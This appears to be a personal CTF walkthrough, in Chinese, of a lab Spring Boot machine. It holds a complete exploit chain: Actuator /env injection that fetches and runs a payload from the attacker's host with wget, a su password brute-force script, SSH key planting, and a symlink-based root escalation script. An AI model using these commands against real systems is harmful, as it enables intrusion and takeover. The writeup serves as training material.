curl -v -k https://10.10.52.116
* Trying 10.10.52.116:443...
* Connected to 10.10.52.116 (10.10.52.116) port 443
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 / prime256v1 / rsaEncryption
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: C=Unknown; ST=Unknown; L=Unknown; O=spring.thm; OU=Unknown; CN=John Smith
* start date: Jul 4 15:33:44 2020 GMT
* expire date: Apr 18 15:33:44 2294 GMT
* issuer: C=Unknown; ST=Unknown; L=Unknown; O=spring.thm; OU=Unknown; CN=John Smith
* SSL certificate verify result: self-signed certificate (18), continuing anyway.
* Certificate level 0: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.10.52.116
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200
< Cache-Control: private
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Strict-Transport-Security: max-age=31536000 ; includeSubDomains
< X-Frame-Options: DENY
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Mon, 15 Apr 2024 00:23:49 GMT
<
* Connection #0 to host 10.10.52.116 left intact
Hello, World!

有个域名spring.thm

爆破加猜测
https://10.10.52.116/sources/new/.git/config
git泄露

[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = John Smith
email = johnsmith@spring.thm

Pasted%20image%2020240415093625
只能公钥登录,git泄露里的东西用不了

X-Forwarded-For伪造IP,emmmm

Pasted%20image%2020240415094032

还有个这个

server.port=443
server.ssl.key-store=classpath:dummycert.p12
server.ssl.key-store-password=DummyKeystorePassword123.
server.ssl.keyStoreType=PKCS12
management.endpoints.enabled-by-default=true
management.endpoints.web.exposure.include=health,env,beans,shutdown,mappings,restart
management.endpoint.env.keys-to-sanitize=
server.forward-headers-strategy=native
server.tomcat.remoteip.remote-ip-header=x-9ad42dea0356cb04
server.error.whitelabel.enabled=false
spring.autoconfigure.exclude=org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration
server.servlet.register-default-servlet=true
spring.mvc.ignore-default-model-on-redirect=true
spring.security.user.name=johnsmith
spring.security.user.password=PrettyS3cureSpringPassword123.
debug=false
spring.cloud.config.uri=
spring.cloud.config.allow-override=true
management.endpoint.heapdump.enabled=false
spring.resources.static-locations=classpath:/META-INF/resources/, classpath:/resources/, classpath:/static/, classpath:/public/

server.tomcat.remoteip.remote-ip-header=x-9ad42dea0356cb04

HTTP/1.1 200 
Cache-Control: private
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-Frame-Options: DENY
Content-Type: application/vnd.spring-boot.actuator.v3+json
Date: Mon, 15 Apr 2024 01:43:04 GMT
Connection: close
Content-Length: 712

{"_links":{"self":{"href":"https://10.10.52.116/actuator","templated":false},"beans":{"href":"https://10.10.52.116/actuator/beans","templated":false},"health-path":{"href":"https://10.10.52.116/actuator/health/{*path}","templated":true},"health":{"href":"https://10.10.52.116/actuator/health","templated":false},"shutdown":{"href":"https://10.10.52.116/actuator/shutdown","templated":false},"env-toMatch":{"href":"https://10.10.52.116/actuator/env/{toMatch}","templated":true},"env":{"href":"https://10.10.52.116/actuator/env","templated":false},"mappings":{"href":"https://10.10.52.116/actuator/mappings","templated":false},"restart":{"href":"https://10.10.52.116/actuator/restart","templated":false}}}
management.endpoints.web.exposure.include=health,env,beans,shutdown,mappings,restart

配置文件里的这个,暴露的太多了

传shell

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'wget 10.17.6.173/bashfile -O /tmp/bashfile\');\"}' "https://10.10.75.74:443/actuator/env" -k

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://10.10.75.74:443/actuator/restart" -k
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'bash /tmp/bashfile\');\"}' "https://10.10.75.74:443/actuator/env" -k


curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://10.10.75.74:443/actuator/restart" -k

Pasted%20image%2020240415101254

太牛逼了额测

牛牛牛
没想到

PrettyS3cureSpringPassword123.
PrettyS3cureKeystorePassword123.

然后去爆破密码,先拿字典

#!/bin/bash

set -m #enable job control
export TOP_PID=$$ #get the current PID
trap "trap - SIGTERM && kill -- -$$" INT SIGINT SIGTERM EXIT #exit on trap

# https://github.com/fearside/ProgressBar/blob/master/progressbar.sh
# something to look at while waiting
function progressbar {
let _progress=(${1}*100/${2}*100)/100
let _done=(${_progress}*4)/10
let _left=40-$_done

_done=$(printf "%${_done}s")
_left=$(printf "%${_left}s")

printf "\rCracking : [${_done// /#}${_left// /-}] ${_progress}%%"
}

function brute() {
keyword=$1 #get the word
password="PrettyS3cure${keyword}Password123." #add it to our format
output=$( ( sleep 0.2s && echo $password ) | script -qc 'su johnsmith -c "id"' /dev/null) # check the password
if [[ $output != *"Authentication failure"* ]]; then #if password was correct
printf "\rCreds Found! johnsmith:$password\n$output\nbye..." #print the password
kill -9 -$(ps -o pgid= $TOP_PID | grep -o '[0-9]*') #kill parent and other jobs
fi
}

wordlist=$1 #get wordlist as parameter

count=$(wc -l $wordlist| grep -o '[0-9]*') #count how many words we have
current=1

while IFS= read -r line #for each line
do
brute $line & #try the password
progressbar ${current} ${count} #update progress bar. TODO:calculate ETA
current=$(( current + 1 )) #increment
done < $wordlist #read the wordlist

wait #wait for active jobs

time bash su_brute_force.sh capitalized_words.txt

牛密码johnsmith:PrettyS3cureAccountPassword123.

把公钥写进去
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMMjsOFq+qUOzZrH2Rb04z9bxx2J97IekyA8wLRXTvVF root@kali" > ~/.ssh/authorized_keys

systemctl list-units --type=service >> /tmp/result

看看系统服务

cat /tmp/result 
UNIT LOAD ACTIVE SUB DESCRIPTION
accounts-daemon.service loaded active running Accounts Service
apparmor.service loaded active exited AppArmor initialization
apport.service loaded active exited LSB: automatic crash report generation
atd.service loaded active running Deferred execution scheduler
blk-availability.service loaded active exited Availability of block devices
cloud-config.service loaded active exited Apply the settings specified in cloud-config
cloud-final.service loaded active exited Execute cloud user/final scripts
cloud-init-local.service loaded active exited Initial cloud-init job (pre-networking)
cloud-init.service loaded active exited Initial cloud-init job (metadata service crawler)
console-setup.service loaded active exited Set console font and keymap
cron.service loaded active running Regular background program processing daemon
dbus.service loaded active running D-Bus System Message Bus
ebtables.service loaded active exited ebtables ruleset management
getty@tty1.service loaded active running Getty on tty1
grub-common.service loaded active exited LSB: Record successful boot for GRUB
keyboard-setup.service loaded active exited Set the console keyboard layout
kmod-static-nodes.service loaded active exited Create list of required static device nodes for the current kernel
lvm2-lvmetad.service loaded active running LVM2 metadata daemon
lvm2-monitor.service loaded active exited Monitoring of LVM2 mirrors, snapshots etc. using dmeventd or progress polling
lxcfs.service loaded active running FUSE filesystem for LXC
lxd-containers.service loaded active exited LXD - container startup/shutdown
networkd-dispatcher.service loaded active running Dispatcher daemon for systemd-networkd
polkit.service loaded active running Authorization Manager
rsyslog.service loaded active running System Logging Service
serial-getty@ttyS0.service loaded active running Serial Getty on ttyS0
setvtrgb.service loaded active exited Set console scheme
snapd.seeded.service loaded active exited Wait until snapd is fully seeded
snapd.service loaded active running Snappy daemon
spring.service loaded active running Spring Boot Application
ssh.service loaded active running OpenBSD Secure Shell server
systemd-journal-flush.service loaded active exited Flush Journal to Persistent Storage
systemd-journald.service loaded active running Journal Service
systemd-logind.service loaded active running Login Service
systemd-modules-load.service loaded active exited Load Kernel Modules
systemd-networkd-wait-online.service loaded active exited Wait for Network to be Configured
systemd-networkd.service loaded active running Network Service
systemd-random-seed.service loaded active exited Load/Save Random Seed
systemd-remount-fs.service loaded active exited Remount Root and Kernel File Systems
systemd-resolved.service loaded active running Network Name Resolution
systemd-sysctl.service loaded active exited Apply Kernel Variables
systemd-timesyncd.service loaded active running Network Time Synchronization
systemd-tmpfiles-setup-dev.service loaded active exited Create Static Device Nodes in /dev
systemd-tmpfiles-setup.service loaded active exited Create Volatile Files and Directories
systemd-udev-trigger.service loaded active exited udev Coldplug all Devices
systemd-udevd.service loaded active running udev Kernel Device Manager
systemd-update-utmp.service loaded active exited Update UTMP about System Boot/Shutdown
systemd-user-sessions.service loaded active exited Permit User Sessions
ufw.service loaded active exited Uncomplicated firewall
unattended-upgrades.service loaded active running Unattended Upgrades Shutdown
user@1000.service loaded active running User Manager for UID 1000
user@65534.service loaded active running User Manager for UID 65534

LOAD = Reflects whether the unit definition was properly loaded.
ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
SUB = The low-level unit activation state, values depend on unit type.

51 loaded units listed. Pass --all to see loaded but inactive units, too.
To show all installed unit files use 'systemctl list-unit-files'.

有个spring服务,一看就不是正经服务

cat /etc/systemd/system/spring.service

[Unit]
Description=Spring Boot Application
After=syslog.target
StartLimitIntervalSec=0

[Service]
User=root
Restart=always
RestartSec=1
ExecStart=/root/start_tomcat.sh

[Install]
WantedBy=multi-user.target

牛逼,又回去了

Restart=always
让程序关闭,就会自动重启,而重启的办法,就在

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://10.10.75.74:443/actuator/shutdown" -k

之中

@RestController
//https://spring.io/guides/gs/rest-service/
static class HelloWorldController {
@RequestMapping("/")
public String hello(@RequestParam(value = "name", defaultValue = "World") String name) {
System.out.println(name);
return String.format("Hello, %s!", name);
}
}

这个会写进日志里去

不会了,先看,边看边学

#!/bin/bash

#generate ssh key if it does not exists
[ -f ./key ] && true || ssh-keygen -b 2048 -t ed25519 -f ./key -q -N ""
#read public key
pubkey=$(cat ./key.pub)

#send a shutdown request to the spring boot server
curl -X POST https://localhost/actuator/shutdown -H 'x-9ad42dea0356cb04: 172.16.0.21' -k

#get date as epoch format
d=$(date '+%s')

#let's assume 30 seconds is enough to restart the service
for i in {1..30}
do
#create symlinks to /root/.ssh/authorized_keys for 30 seconds
let time=$(( d + i ))
ln -s /root/.ssh/authorized_keys "$time.log"
done

#wait for app to restart
sleep 30s

#send publickey as name to the greating server
curl --data-urlencode "name=$pubkey" https://localhost/ -k
sleep 5s

#connect as root
ssh -o "StrictHostKeyChecking=no" -i ./key root@localhost

靶机down了,再打一遍吧

如果用http就是完美的一个靶场了,可惜唉
curl https://10.10.52.116:443 -k逆天了,https也不给自动443吗

因为第一个shell堵塞了?所以卡死了?不明所以